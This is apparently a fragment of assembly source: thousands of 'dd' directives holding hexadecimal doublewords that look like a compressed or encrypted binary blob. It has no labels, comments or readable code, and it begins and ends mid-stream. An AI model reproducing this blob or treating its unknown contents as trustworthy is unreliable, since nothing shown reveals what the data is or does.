1165FC5h, 70C065C6h, 40B6D9ACh, 0C3784E9Eh, 0A6758474h dd 7C80165Dh, 0F48EE406h, 73035BAh, 64BFD58Dh, 446D2001h dd 77F0BDA7h, 0F8466E0h, 0C580F488h, 70407986h, 6D307B77h dd 30EDF160h, 0AA50001Fh, 0C036D344h, 0AEB8C56Eh, 9720F660h dd 1F7C1F33h, 873EA403h, 0C0D286F5h, 0E4908782h, 0B5BB1707h dd 3FD0B984h, 737BA0BFh, 3E79009Ch, 0F6216439h, 441E5BE3h dd 6CC04F0Eh, 1C5E4BCAh, 9AB1862h, 8B3F6968h, 25A93503h dd 0A0E8CDE9h, 6E0C4BEh, 0D1D90A46h, 8401B1EDh, 9FA48B5Fh dd 10BE3CE4h, 0F6360E07h, 71D38082h, 49001756h, 834BEE32h dd 0C6E4CEBh, 7B692AE6h, 96011930h, 0FD39C1Bh, 81BEE9D0h dd 7C4042Eh, 0C920FC73h dd 0DCD80820h, 0C5006BC9h, 0D3A37FA6h, 0E24D9E69h, 0D5A2011Dh dd 0BF2DAF36h, 83B8506Ah, 927D5605h, 8076783Eh, 24D67239h dd 7B85AD0h, 0E8D7A6C3h, 3E8DC198h, 0AC788044h, 0AD7AFA2Fh dd 2E67C6Dh, 0D7473AB1h, 2C80C42Ch, 624A879Bh, 0ACD56903h dd 0BA67273Eh, 0D780A045h, 0C0E306D1h, 0B84792C9h, 0C30C7A6Eh dd 106F6070h, 1C5F045h, 0D74308E0h, 0EF756761h, 81FC97C0h dd 1BAFA400h, 326696B4h, 89221DC4h, 0F9007A31h, 245A268Ch dd 0E63DA2BFh, 9BBB345h, 8621000Ah, 28C32452h, 0D0B54B4Dh dd 0A0180171h, 9165BFA2h, 1BE6FC31h, 64EB2C18h, 862E3461h dd 1431595Ch, 0A0303EA2h, 245171h, 0C06E2FD6h, 35C425B9h dd 67A46804h, 41C9D86h, 61CDAB3h, 8D385A22h, 54C16034h dd 9B1D186Bh, 1BC068DDh, 679FB0EEh, 2880FF32h, 0B3E62246h dd 70C4F7BAh, 580D9BBh, 18F82594h, 18F06082h, 5A376799h dd 0A2C13892h, 804885EAh, 62B0AC87h, 56A27858h, 10094C91h dd 24507Ch, 9FE26DA5h, 0CFEDF0E7h, 16480703h, 0A8A0EB9Ch dd 0A88DF9h, 38325873h, 4731B7A9h, 6396803h, 3E98C25Eh dd 89001A70h, 0A9543C75h, 760765E6h, 0C18FADABh, 0CD73ACD0h dd 273A0587h, 2A3FE56Ah, 3E00BA04h, 392C4716h, 8939B2BCh dd 0BE489C9Ah, 0F37CD981h, 1E20F25Ah, 47AE3C39h, 0FB901Eh dd 50069110h, 937C842Ch, 0DF376600h, 909A31ABh, 2365037Eh dd 944D4A8Fh, 382C5200h, 8D2E1EB1h, 7048009Eh, 4D479B20h dd 3E0F3F39h, 0B58A6Fh, 52A58F54h, 918101F3h, 0CAD06A3Bh dd 70BCE485h, 0B7B89464h, 3A9CA1C1h, 19A1BD0h, 4332391Dh dd 0FC842448h, 0D82D42F2h, 32AC5E13h, 85112729h, 20FE24EAh dd 0FEED7877h, 3C3342C4h, 84FA4470h, 513ED431h, 2D119D7Fh dd 8C46130Ch, 977FD043h, 284B2828h, 30D16610h, 31144228h dd 0D751FEECh, 0F2E51190h, 400E2988h, 223822BBh, 312291E3h dd 114A42DAh, 0EF283AA0h, 0E4192228h, 5C191642h, 42FBA181h dd 3C847C14h, 864F2252h, 790764h, 0C91AF415h, 9A907D77h dd 9610ED00h, 62181A8h, 0B10B00F9h, 4CDA0ADDh, 8507059Ch dd 0F895612Eh, 3317A000h, 38AA008Fh, 6A0CBC9Dh, 7E020EF6h dd 0A98CF51Bh, 76A060D2h, 667E84h, 83492D28h, 776DB69Bh dd 0B3F27900h, 0E5394E3Eh, 5A100AAh, 4FA2DF6Bh, 1400BDC0h dd 8F9CCA5Bh, 1DF1DDh, 367D0B7Ch, 0E45D4CB0h, 0C1007890h dd 2B4155A3h, 7EAB64h, 1A8998DAh, 0B6DE84AEh, 0F8AC407h dd 9B404C2Eh, 596A3DFh, 7E953A07h, 0DAEE8114h, 0FDC8FB85h dd 0E00B22Fh, 3778F98h, 0DEC234h, 0FAB03745h, 274013A9h dd 14FDCF00h, 663D88FCh, 32C70F5Dh, 5C60C061h, 0A21744B6h dd 0E15AD303h, 60E2A9h, 6463C778h, 0CF12A091h, 6C00B9F0h dd 2926E914h, 72B43447h, 2148005Dh, 5AFBC1FDh, 9C00701Bh dd 9F224F11h, 1876102Fh, 50E5384Dh, 2A073CD7h, 88D0C799h dd 25826370h, 0FDF009Dh, 92898344h, 0C503E745h, 0A69707CBh dd 2F21C0D0h, 9BFAB0h, 0D35B609Ah, 1A677CD5h, 0C04AD800h dd 6AE68EF4h, 4821D02h, 7B20008Bh, 92710F1Ch, 19163801h dd 136CFA91h, 0E5260C4h, 0BBF2F405h, 63619E60h, 0A905C06Ah dd 6282E75Bh, 3567D000h, 0AB8719h, 368AEFF1h, 446BB694h dd 0F169E028h, 0C857CA00h, 7CA8CB84h, 0F9FED7h, 1F37FB92h dd 0A529F580h, 0BBAFED01h, 0E831DA6h, 0B8D6C4h, 84283D51h dd 49F6A859h, 90B2F00h, 0ED6486B4h, 0C484850h, 398B1282h dd 0C880F886h, 0DC18C500h, 0B8D808ADh, 7B6F0A6h, 8F97F2C9h dd 8E54D0E3h, 0B20039FCh, 30C2B8D7h, 1A5CB5Ah, 3F4EF9A9h dd 24812B2Ch, 0AC00BA0Ch, 5CEF7F0h, 0B506BFh, 9793DFC2h dd 1E5A62BBh, 85E27098h, 42844309h, 7A5020DEh, 0A12ED5h dd 0C2F154CEh, 0E2082A5Ch, 87105100h, 24F5BD3Eh, 0C0FF00FEh dd 6F13A5E0h, 45307B81h, 0CAA34023h, 0ECC326AEh, 0ACE600DEh dd 0B084B967h, 3377C01Dh, 297D7201h, 34ECF494h, 64730EADh dd 7E400487h, 9C28BF69h, 3A21B100h, 3DFC88EBh, 97EED6h dd 0F73AAB2h, 0AB3410D5h, 2935DC16h, 28E72C00h, 239111h dd 65F73B51h, 9615316Ch, 85E1B800h, 0CFD087A8h, 4C4300E3h dd 67F32CAAh, 4A00189Ah, 914923B2h, 26659334h, 4620162h dd 0C094D612h, 0FDE39D91h, 727A9200h, 74318C22h, 0A735006Ch dd 68762F12h, 0E2E2218Dh, 28884Dh, 20DD7457h, 0E8E916Ch dd 0D1A72283h, 104AD500h, 6F004728h, 96B15573h, 1EB08E71h dd 4080667Eh, 44A57DCCh, 25007011h, 4624FF5h, 0AEDC08Dh dd 53C51345h, 0C89580DCh, 6F255E61h, 7FDAB50Ch, 39FA482Fh dd 7AEB3Dh, 9809E241h, 0AB81669Eh, 70003B90h, 9247532Fh dd 0C9FCA8h, 0F0FB9791h, 3A78EDE8h, 29758103h, 0F0955822h dd 0E95625h, 0B8F6A9A1h, 8FE2F86h, 3FBC763Bh, 93F400D8h dd 0B4CBE718h, 110400C4h, 0CDA2B9C6h, 1700DB42h, 0CA63841Bh dd 32A6518h, 0E198F2DEh, 3BE067DFh, 71006C2Fh, 3C27C7E9h dd 7C149Ah, 8EE3F463h, 6FA8C0F8h, 0A4EA4Ch, 0BD1EF1E9h dd 0FE94935Bh, 78B700E1h, 0EA2A359Ch, 5C0FFFEDh, 0BDC5FEE3h dd 3B690A80h, 0F8DC9925h, 670B00A5h, 911CBE8Bh, 0CE0B68A3h dd 1740841h, 66788804h, 4672ECEh, 832CD013h, 49008D2Fh dd 0EBCB5DF9h, 2BEF8F5h, 0B2D0A347h, 640EFD3h, 7112A86Ch dd 941E585Fh, 26B98F00h, 7A30C01h, 5361FCCEh, 0F0001999h dd 529B71EEh, 0A4008E7Fh, 1E8B9EA3h, 0DF77A90Fh, 4924C0BCh dd 45E162FDh, 992DEB00h, 1B41B063h, 46FF1F77h, 0E04B02E6h dd 9A87C064h, 0B08F7130h, 0E2BFD448h, 3C83FB04h, 0BA80FA9Dh dd 0B8BCC282h, 5D6A0019h, 0ECEEEF2Ah, 0AA00D8BBh, 4186F9F3h dd 5D0CF1E4h, 1F00D019h, 64F03EDDh, 16001C9Ah, 88DEBBAEh dd 1067BCh, 82118C25h, 40640D2Fh, 6B1FB602h, 0C18384DBh dd 81C8973Ch, 0EE520EDCh, 809CFB56h, 0B8D5ABA6h, 3F4CB2F9h dd 3ACF3A34h, 1A5500C2h, 9FD6EA46h, 0BC80C08Bh, 0DC92C736h dd 0FB284A00h, 63ADD364h, 7EF000EFh, 8773FAF2h, 8200851Fh dd 0AB46D4F4h, 3C12E4h, 0B67A6936h, 0FFFBB48h, 0B59F1300h dd 0F1D3C398h, 254D028Eh, 0B05941B4h, 0A672BDE0h, 63604900h dd 2717B88h, 8C07017Eh, 8F53803Ah, 9D3DF413h, 0AF09C507h dd 8722CE4Ch, 5DA080F3h, 520FE0h, 0B62C7E2Bh, 9AB031BDh dd 0F8A12000h, 0F67C27ECh, 0F4BA0015h, 0DB54FD52h, 99009B4Eh dd 478FD7B1h, 4C0EB6h, 9FDFA332h, 0FCAEDBCDh, 69286516h dd 1803A000h, 11333Ch, 0CCD04D9Dh, 1E359E15h, 0E8DF0903h dd 0D8E458F0h, 0D9403Dh, 0A24F7C13h, 0AD383266h, 0A1DEA900h dd 47B28602h, 14F800B8h, 42CF6D6Ch, 0AD00CC3Ch, 82CD2BB0h dd 16E57Dh, 6B12A845h, 96ACA4FAh, 22200E00h, 2B1CC64Ah dd 0FF240018h, 0C1E557B4h, 0DF48EA9Dh, 590100C8h, 31D476FBh dd 0FE8677ACh, 0C75504D0h, 0C0648248h, 0CCB5BBC0h, 0FF2D960h dd 0C14CF4h, 532D75C3h, 647BF52Eh, 4DA3938h, 69EB1ADFh dd 7090C880h, 13F138Eh, 3494000Fh, 8D5F1E7Ah, 0DB19E816h dd 0F489301Dh, 0EBC400B5h, 0F0097A10h, 0C0703F3Bh, 0F1B32C04h dd 3768806Eh, 167EC9A5h, 9ADFE200h, 311383C6h, 0D9103894h dd 67A007Fh, 789BF457h, 2300870Eh, 0A76CDD08h, 2255035h dd 0DF3DB459h, 9C6176CEh dd 6840C69Eh, 3CB06C81h, 8017663Bh, 2D70BE47h, 0FBAEC52h dd 243710DFh, 0E5070372h, 69C0B045h, 21006F2Ah, 0B6B1C975h dd 376F27Ah, 89FFF7A9h, 0BEF8D5C8h, 5417B402h, 0E80096D6h dd 0B8670597h, 4BC3F9Bh, 86642680h, 0F9F075DCh, 8130A15Ch dd 0EE58BB55h, 69C6D8h, 15478BBEh, 8274CA30h, 0D8076894h dd 0A4E6339Ah, 5BA100C0h, 87438489h, 273CF74Ah, 5ED20A3Fh dd 400ACB4h, 1A939C0Dh, 6E870009h, 0BB015A69h, 0E2D6D9F2h dd 40060Bh, 46DBB3BCh, 0A5A30628h, 40A29049h, 8D395F00h dd 352773A0h, 0E2471C3Fh, 0B9A100A7h, 7E67367Bh, 430B1E06h dd 1C483032h, 0DEEDE6h, 0CE2CBAFDh, 570009ADh, 2742BF5Dh dd 7FBCC41h, 0A81ABC1h, 0A8437044h, 0E4032A40h, 1E3602A2h dd 0EF05E034h, 3BFCFC5Eh, 8781CA8Fh, 6BB1FA28h, 85533022h dd 0B000F998h, 5F238496h, 4DC0F1Fh, 5D9AC0C2h, 9EC081EBh dd 27C3FC06h, 0AA149500h, 0F77EAF43h, 38070092h, 0DAA63DCFh dd 0FA249C5Ah, 313A755h, 0B2460304h, 19EDE492h, 1B9F408Bh dd 2900C115h, 7908947h, 773E3463h, 1BAEAA9h, 8237E8B8h dd 60624B7Bh, 837E2A0Bh, 0A818E0B8h, 0BD50FAD8h, 6186129Ah dd 1A8C002Dh, 0EE3E11B6h, 0B000C54Eh, 13850B06h, 0B1831B2Dh dd 0AED0296Fh, 77008720h, 0DDBD9B10h, 5C8F60h, 26C1A2DEh dd 6B7AD27Bh, 0A5843Ch, 81793461h, 0EA86631Fh, 539E179Ch dd 0DE4C007Ch, 0C9591B5Fh, 1008B800h, 0D889A842h, 1887396Ch dd 0CDBBEA80h, 39687535h, 81ACC200h, 8974721Eh, 9C5B00D1h dd 0CF2D563Fh, 78B76AB1h, 0FC0E718Eh, 8A71004Ah, 0E1F5955Fh dd 0F00D9B6h, 0C0B732C9h, 18BB1997h, 0D051AE6Ch, 0FA0F6A90h dd 22E5201Ch, 406611B8h, 625F28h, 0A482E845h, 98FB9E14h dd 3268DC00h, 9C6C160Fh, 0D4A31C13h, 54484057h, 21DFAAE1h dd 0D1887D01h, 0B99A4D04h, 1E8A85E8h, 9620EFBFh, 368C413Fh dd 0F5AC3B88h, 0E8E02045h, 0C3487600h, 917B2C2Dh, 9F15484Fh dd 9600DE3Ah, 0CAFD9330h, 0E40016F6h, 9AF3F4Ah, 1328999h dd 3D541C65h, 0E4AB3A8Bh, 2F05E45Eh, 71E8BD48h, 27A7ECD0h dd 0AE112757h, 1D690C00h, 0BD004DB9h, 815075FCh, 79882E5h dd 0B2AA1FA5h, 7C3520CDh, 0DF1F0296h, 4980CE70h, 0F841A1FFh dd 3C0F7AEDh, 670053A7h, 71E7AB01h, 7560D7D4h, 4FF4B068h dd 473001AAh, 0D8C0F52Ah, 0B81480E5h, 7A9541A5h, 37580475h dd 0E05472B0h, 2C3F606Ch, 96698020h, 7683CB8Fh, 0D23700FBh dd 0CE385D7Dh, 0ACB036EEh, 0DE59C50Ah, 0FA0080BFh, 0B529540Dh dd 4A10C7C0h, 0C6B0C03Ah, 8300D1A9h, 0B73F5ECh, 1B3D346Dh dd 28C1416Fh, 742E6001h, 2F604C94h, 3DD00420h, 9728F84h dd 127B0E4Eh, 3EE44880h, 2001DFDDh, 0D7731C67h, 0A0E605D6h dd 3087D4E4h, 866C07F9h, 30FDD288h, 6F234A3Dh, 0A70059B8h dd 0E8B0F0E3h, 3AD95Ch, 3FC6C913h, 0FCDE9FE4h, 90546A26h dd 3B5D079Dh, 4807D916h, 0C3B0B166h, 0AB3911h, 0ED5B7F77h dd 23703A3Eh, 30F68258h, 0E297A099h, 4AA900BBh, 59AFA495h dd 0EC00E91Fh, 5E47AC1h, 33E792h, 0D5DF9E12h, 0EA361EFFh dd 14E12400h, 0B4BC422h, 5F5D3F0Ah, 81FCF024h, 92033755h dd 0B8F030A6h, 96A1A0C0h, 0F66EFDh, 0DD89AF9h, 1E90047Bh dd 59D0C404h, 3CC0786Bh, 0FC30ED18h, 0DD75002Ah, 72795254h dd 0F4A05FB7h, 6F77DA64h, 14B8A609h, 0EFD082EEh, 537E4004h dd 4AF80317h, 0CD13FC88h, 0A0790380h, 0DB56221Eh, 16D59D40h dd 437839h, 0BF80730Ah, 0ED6B4150h, 7FC88154h, 0F78630A0h dd 1F786C49h, 0E2D3DDD2h, 7E8800EFh, 90225C12h, 70F2BF30h dd 0CD23B0Fh, 3754A4B2h, 7D182748h, 0E218BFA2h, 14065DD6h dd 8DAD1974h, 0F02C597Fh, 3A3B32F2h, 0A130829Dh, 0E1CB75E0h dd 92202E77h, 7C7585h, 48A6497Fh, 0DB12760Ah, 0C9FF7118h dd 0E56725Eh, 0DFF27D17h, 339F7B40h, 0EC1C8BC4h, 1FC02071h dd 0D1A0B5FEh, 752C006Bh, 0BCD2B68Fh, 9A0068DAh, 0F6F2415h dd 3C9DCF5Ch, 7104F757h, 8086E61Bh, 645BE878h, 3C491D00h dd 0EA52D483h, 0D8380094h, 0E06DED33h, 0FF00FB1Ah, 3B7274E7h dd 211B60h, 0CD98555Eh, 513C52B8h, 0E54AE307h, 9F7A0356h dd 6943A512h, 9398F32Dh, 0C572E035h, 76CC004Dh, 81C0AA87h dd 2400DCFEh, 0D9EE0ACDh, 1793133h, 644DFB7Ah, 3082B57Dh dd 0C0E329F4h, 0C00016CBh, 0CFEB5EBFh, 9A4B0F5h, 0D1643A66h dd 4ACA9C83h, 0C7D39B88h, 0E05DEB03h, 0B0DF9103h, 7C1A90B6h dd 97C306D7h, 0B8BBFD2Ch, 82004176h, 0A295AA1h, 0B32F4Bh dd 0C11F2264h, 0DC91538h, 56107D00h, 723135CFh, 50B051h dd 0FFFCBE2Dh, 6B255304h, 5F56950Fh, 136E803Fh, 70A8649h dd 0F5D93B45h, 0FEE1807Ch, 60C07234h, 9B71D409h, 0BABE00DFh dd 809D18FDh, 5A50BB68h, 1100CAD0h, 6C7E3C9Ah, 0E86C4h dd 67886976h, 17198EC7h, 0ECEAD901h, 0CB680528h, 712179F4h dd 0ADC00BFh, 33D07BABh, 0E50038F2h, 2F93B829h, 0F8963EEh dd 52D87210h, 1E9749A5h, 38E680h, 4C469A62h, 489C7E51h dd 0FF76700h, 0F047A610h, 711B0B3h, 45DAEAE5h, 6F821FF6h dd 0C480BE62h, 839C54AFh, 84043276h, 0FFE43315h, 0AB5D7080h dd 5E6B1265h, 0E0BC40F1h, 9DA07ADAh, 0B1008343h, 0D8924E03h dd 52317640h, 41DB9824h, 20D79820h, 749E5D5Fh, 0C0848E25h dd 578DCDC1h, 54AC2DB7h, 2A967CA1h, 5B0BD05Ah, 4374C1C3h dd 39C684h, 0A9CFB1F1h, 0E12B177Eh, 5A3D8500h, 5D26D6CEh dd 0FE0D1DD7h, 78871804h, 0AC0145A0h, 0E317CC73h, 5468426Bh dd 0CD5CD600h, 2310372Ah, 4BCA3F00h, 4C2F918Ah, 0F874187Eh dd 0AD9C2877h, 0E0D37500h, 0F450B642h, 61130491h, 0B1053FEBh dd 34DC2134h, 1A0AE404h, 8C7C4EA2h, 5B73CB80h, 8F1C1Fh dd 6EBAAEDEh, 56C9A566h, 8B958704h, 0F380F68Eh, 0B1C0C2h dd 2D33CFA0h, 7AF1F6Bh, 9A9E5709h, 485A854Dh, 76AC1280h dd 6F00050h, 0C0BCE6A2h, 4B39275Eh, 0F90803F3h, 0D03F0243h dd 1CED2A89h, 89B9CB72h, 32008F37h, 0A1A091CEh, 946F1001h dd 60EF5720h, 0A62EBC40h, 15E2004Ch, 25639F5Fh, 6205DB4Fh dd 9D468E76h, 0BBF59404h, 9F8FE8C0h, 50782DA2h, 8880480Fh dd 607344FFh, 3126C072h, 5900A8E2h, 0E41C6E9Eh, 542F07A2h dd 204F0B49h, 0BB75C8C5h, 0EB485774h, 41DF006Ch, 25B92AA0h dd 0DECA00F5h, 0AC8CFEDBh, 0E0229F1h, 0DD04A56h, 0C1B0C086h dd 0F6D8384Bh, 0BC1DAF00h, 9B0849B9h, 8FAB8100h, 0C719DA46h dd 3FD1E6FEh, 1C9FFC4Ah, 686C084h, 6D536AC4h, 18A02600h dd 4332C06Fh, 61FA2846h, 0B1330084h, 0EE47146Bh, 0B7CE238h dd 0A02CE700h, 713D3A2Bh, 52AB00E5h, 7A778FF8h, 0C00FFF3h dd 0D8D378C9h, 45217Bh, 0DB0B26E9h, 92E739D5h, 0B8D75801h dd 8425708Dh, 25546620h, 788FD90Dh, 0F0C65E0Bh, 6900E4FEh dd 0E32EE047h, 3F5D59h, 0B4D84E57h, 0D17DA531h, 27827C00h dd 2958211Fh, 16500043h, 0B045577Fh, 0E1004C02h, 17155DC5h dd 7AA91C89h, 0BF9A00D3h, 0A418F971h, 9000069Bh, 177FAEAh dd 0FACF08E6h, 0A01400F1h, 0A3B213DEh, 205C70B8h, 0E6B40015h dd 0FF289E4Ch, 36EB0031h, 0C44B2CFEh, 0D5484AD6h, 5E9F0092h dd 63A01906h, 2AB226BCh, 4C2618h, 0F58878A3h, 9B00A5B4h dd 26D96B0Fh, 0E6FA8Bh dd 3644A696h, 236056C4h, 0D1270300h, 0A5728706h, 0F3F4E61Eh dd 7F0F2BD4h, 265D7D53h, 0EA3EEA1h, 0D8B299C2h, 48003EFCh dd 0EC6772DFh, 0C80274h, 284226F5h, 0A2E5FB0Ch, 88520E05h dd 9C05F707h, 0CC0F1BEh, 0B2B9D2h, 0F4E37F5Eh, 0A7AE447Bh dd 0FB54800h, 9B958CC0h, 218D0058h, 68CBA205h, 4B00EBC1h dd 0E32B6985h, 1130BEDh, 48372878h, 0C4E919C8h, 880C0ABEh dd 0C29F8D5Eh, 0B9C31338h, 66E80240h, 50F0E1EAh, 4432CE07h dd 0C67E22Bh, 0C6A2FA50h, 0C3460F6Bh, 6CEE991Dh, 0D8C206C0h dd 7701F1AAh, 2471BE4Bh, 583CD95Bh, 7F1D5F02h, 5458A82Fh dd 201CEE07h, 4E94FDC9h, 0C13C07EFh, 0B23306Eh, 0AB00E0F5h dd 0F43C591h, 1BED6B8h, 0AEA2EBBCh, 0DC032E95h, 5C905765h dd 14F3B912h, 772CD8h, 916D978Fh, 8BD62853h, 74A46F00h dd 98FFE1E9h, 1C9000C2h, 761DDA25h, 0B00331CBh, 9269A55Ah dd 0F00ED817h, 66D90F15h, 0A8A00348h, 501E4210h, 0DDA1D326h dd 71DAE600h, 78FE5A5h, 49972775h, 130E4038h, 14988757h dd 8CB49000h, 0A03A6D58h, 1FD8004Dh, 0BDA2E6C6h, 780030F3h dd 4063B89Eh, 4F660DAEh, 5F3C006Fh, 1C48F0EEh, 83CFEC00h dd 4E0868Ch, 58FE0028h, 1D63813Dh, 0A601AEB9h, 0B47A9412h dd 0CEE4C021h, 2DCF0054h, 98DDF206h, 0E8FA3BD5h, 957AAC0Bh dd 2000817Eh, 0A08780ADh, 502A7FD7h, 0E7AA6AF7h, 0F6A7B100h dd 0BE6FB66Eh, 1BE20AC8h, 38E06839h, 0D021FD80h, 63FCBB04h dd 1F7BCE2Ch, 0F208DC00h, 1B12DF8h, 0A2AC105Fh, 0FC345660h dd 0E34CA5F1h, 5D370082h, 57EF4AE1h, 0FF905036h, 13C9A06h dd 847552D9h, 0FAFAC52Dh, 2E07C45Ah, 7307F6F7h, 23014F0h dd 78ED26E9h, 22298744h, 6920D009h, 0B001320Bh, 5416BC1Eh dd 90DBA171h, 485F373Dh, 0FC0BF424h, 74008ABFh, 8FB1E889h dd 356F1301h, 53E2F46h, 66B3C8h, 3442C582h, 25EB0794h dd 0BFFAA500h, 887630A4h, 0CFC100FBh, 5A6E5E54h, 0F490AB83h dd 0F5E60D0Eh, 5824603Eh, 0BA643AFBh, 0AEB70004h, 0A50598DEh dd 4D060CF3h, 0D7F98735h, 6C7300C0h, 2756211Eh, 5B007840h dd 0F91DCC8Ah, 0A0BE8BCBh, 0FE6BBDE8h, 0F2F71D50h, 0D54EC644h dd 0C400D01Dh, 3DC98A2Ch, 9BAD01h, 6F5D7195h, 2136B142h dd 0BBB6A438h, 94D5894Ah, 0E17000D1h, 0A9899Eh, 79D5359h dd 324AF5FCh, 2C5B2E0Eh, 0DEFE81B3h, 730B5CEh, 1B20007Eh dd 4D5A961Dh, 7B79089Ch, 78BC4900h, 0C394988Fh, 10BA007Eh dd 66EA2D5Ch, 0D40108FFh, 2E29C271h, 0C3E8D1B7h, 0C8620069h dd 0ABCFE816h, 8E011F73h, 5B7CCB8Fh, 0CADCFFE2h, 658212FBh dd 4334006Dh, 17A39AE1h, 105F58h, 3CDD1022h, 4A1A9C71h dd 0E2248049h, 700DFE9h, 0DCD5A4C9h, 432761h, 76160C13h dd 4A425236h, 3806C209h, 7D14A022h, 9E28E8DEh, 74D35140h dd 0E0BDCDD8h, 0BB7472h, 4F805222h, 0AE766EC9h, 0DBA22700h dd 3B642B1Ah, 75CB863h, 7EF0F9A7h, 6F7F309Ch, 0AC7943E3h dd 0D4669800h, 48414FCh, 503D127Ch, 0B9513D6h, 3080A7C4h dd 0F841B9FFh, 6F3F2F00h, 98EFDF73h, 2CA40097h, 0A8D817FBh dd 6500818Eh, 1318648Dh, 0E4722F38h, 46C958F5h, 28306600h dd 0A968CA0Eh, 598F2003h, 886393B9h, 0ACE74Fh, 0AD5ED81Bh dd 47223AC3h, 0DD2B7700h, 295A3D6Ch, 7E3B2683h, 0DF4B051Bh dd 0C2C05E26h, 58E2CD21h, 6277A8C0h, 881C5000h, 895ABEB0h dd 7E1BEAC0h, 0CC9F0024h, 9C2F6308h, 8300E79Ah, 0D0D14AD2h dd 20297F7h, 0EC0B5F8Bh, 0C0805DE2h, 0D6A9213Dh, 0C3D925h dd 80EAF04Ch, 0F18C00D3h, 49529D78h, 7E00B0C5h, 8B6251CEh dd 3C289860h, 700F2B59h, 5300B9AAh, 6EBEC10Dh, 0C2758402h dd 62115C1Dh, 0D9F1C068h, 81BD09D1h, 888135B4h, 0E82268A8h dd 8E01AF56h, 75A7C9BFh, 0A7604F85h, 9961D9Bh, 0D4FC4015h dd 1EC06A1Ah, 9EE2640Ah, 0FB0A884Ch, 0DC2CEBA9h, 1853E180h dd 0B0690645h, 0B8710128h, 31EC82DCh, 0AC88FF57h, 32006E86h dd 0A441BB6Fh, 0D16D59h, 4E028A71h, 5C77AF63h, 76588A0h dd 8FAE0C17h, 38482C98h, 0C897C049h, 9C2F04CCh, 0FFEA8023h dd 72004289h, 0C1586596h, 0DF8CC2h, 0CBB2C466h, 0A371EAF5h dd 3F383690h, 80833B0Bh, 0F26BD6ADh, 1842D8h, 711ED77Ch dd 84C7AE8Ch, 0FA884701h, 83410238h, 0FB7B3D8h, 0EE65ACF8h dd 0BB160D60h, 0AB009CF7h, 1AA711D2h, 1DF268h, 0E7CAB386h dd 0E63278B7h, 0E9818C1Dh, 54B4E000h, 0DEB6CC5h, 0BAEE07D3h dd 6A7A60FCh, 0DA4C4000h, 2D317754h, 4BF2008Dh, 4DA2F88Bh dd 0AF0766E5h, 87281BA9h, 9D8DAC90h, 0ADE700F2h, 398B9C0Ch dd 2700EF94h, 5D91CF7Fh, 155A7C2h, 0C3F2588Ah, 7070E663h dd 0DC79A173h, 7919AA00h, 62ECE1CFh, 2C900A8h, 757240D0h dd 24004241h, 0EE671FBEh, 3B880ED4h, 0B80F72Bh, 0A49CC9A3h dd 0E6077461h, 93179832h, 753C8E60h, 0EF2800F2h, 0E126730Ah dd 7C00FA12h, 6EDA6645h, 8B8497h, 0CC78EA16h, 4BFBCC4h dd 3BE94D03h, 3B368617h, 0BA000721h, 60F152DEh, 4A14EAC4h dd 84E029h, 2EDF97A7h, 1C9E511h, 0DE64C78Fh, 80376966h dd 8853B120h, 0BD8C602h, 31B9C429h, 50EC9E07h, 0CE18625Eh dd 0E14DCC00h, 0BB765946h, 800C1C51h, 0C7928014h, 1B47D2EAh dd 43268F00h, 9DA6984Eh, 723200B4h, 0D4F1ADC2h, 9F372946h dd 26501916h, 8283E9Bh, 9A2439A7h, 0EA51E80h, 3C4B95C6h dd 9C80A33Fh, 0A0B94E3h, 9002918h, 8E0DAB03h, 118CC5h dd 0A4F4EC35h, 32BE87CDh, 6583EB00h, 0E6C5281Ah, 0AA270E9Eh dd 25A08CE5h, 0CB22D58Bh, 9D55C207h, 587044F3h, 8A7B1Ch dd 0E6FBC842h, 1A323586h, 0EE005AE4h, 0E7248036h, 0C84FB3h dd 0A4278A1Fh, 70F3F1Bh, 5E31EF01h, 0E75743CEh, 7A9BC8h dd 27DF056Fh, 2502DA51h, 0C1EB1D00h, 0F5721C6h, 601924F4h dd 0B9C9006Ch, 474FFE0h, 1D0CF37Eh, 0E053D59Fh, 4CA00687h dd 987FE922h, 88E84907h, 57C7044Fh, 9CCACCD0h, 2EC10F9Bh dd 8B40D79Fh, 598D293Eh, 0AA0073E6h, 0B5E9B05Bh, 0A7F7547h dd 40322D74h, 0B1F500F5h, 69F7B8ADh, 0E9C9B400h, 5609B310h dd 0BDDB0017h, 786F4915h, 0ABECA2D7h, 9CC25B1Eh, 4EBE5240h dd 0F01D51B6h, 4ABF1394h, 0E0E30018h, 0ED1ABC5h, 7C2A200h dd 0BA4EDE1Fh, 4C6B48C1h, 35397C00h, 20DDB14Dh, 0AEE30D03h dd 80BF56BCh, 1F43E77h, 2716820Ch, 80A5CDF0h, 0E01FEFA6h dd 4A588Eh, 0BAEDBFACh, 32C505B7h, 6F902600h, 4F664B9Bh dd 60727DFFh, 2FB8A8AFh, 3DFCFE78h, 91CCA000h, 686D0687h dd 0DB4F004Ch, 6C812D03h, 98005907h, 45D5B3B7h, 0F495B82Ch dd 98037C02h, 0F882F200h, 0DD5B000Dh, 50B0A360h, 0F80074F2h dd 8E4EE10h, 6714AA23h, 0F387E070h, 0B8008C1Bh, 2E80C08Fh dd 0B45B38h, 0D962DBCFh, 3EFDE0FBh, 0A6933700h, 2607B140h dd 21E10079h, 153A14DFh, 3B3FC204h, 80A6BE29h, 0BFF7BAF2h dd 1D7689A5h, 878AB38Dh, 0C24A9CF4h, 70687DE0h, 8EA647Fh dd 617838h, 0BC96B660h, 3BE022DCh, 8C517383h, 330640D4h dd 88B06FACh, 5DF5DAB0h, 0AF2C7C0Ah, 9919B0EEh, 90C63BA0h dd 31635E30h, 15500886h, 48BF60E9h, 58AA8C30h, 0CB8012h dd 9464BB40h, 58C7E266h, 6001A2B8h, 0FB4C519Fh, 0DC403A86h dd 0FE4A8F84h, 8DB00745h dd 2E62F849h, 3AABC0BCh, 6C73C6DEh, 0F68AA0C7h, 72D37711h dd 0EC1E1080h, 78EDBD1Bh, 5BCD7C00h, 0F714A93Eh, 552F00B5h dd 0E48B736Bh, 45716A77h, 9F36C018h, 33F0A0h, 10FA3D0Eh dd 898054D0h, 0C83A4Ch, 0B9474A4Bh, 60C132h, 2920F8A6h dd 6BAE93B0h, 4C312200h, 0FE861846h, 4D91C05h, 0DC645Eh dd 0BD6F4BC4h, 48B059CDh, 50274624h, 7EB516BEh, 0F1006C1Eh dd 1364D673h, 6B4F043Ah, 8056E1EAh, 0FAB51AACh, 0A45D1224h dd 0F6AF800h, 0E45CD47Dh, 8AA30093h, 227F78F5h, 0EA005B88h dd 0CDCBD101h, 76717D02h, 0F9210195h, 120B0C84h, 89EDC25h dd 0B0BE1502h, 4076AC3Dh, 0D7D813h, 94AD890Bh, 0C8831377h dd 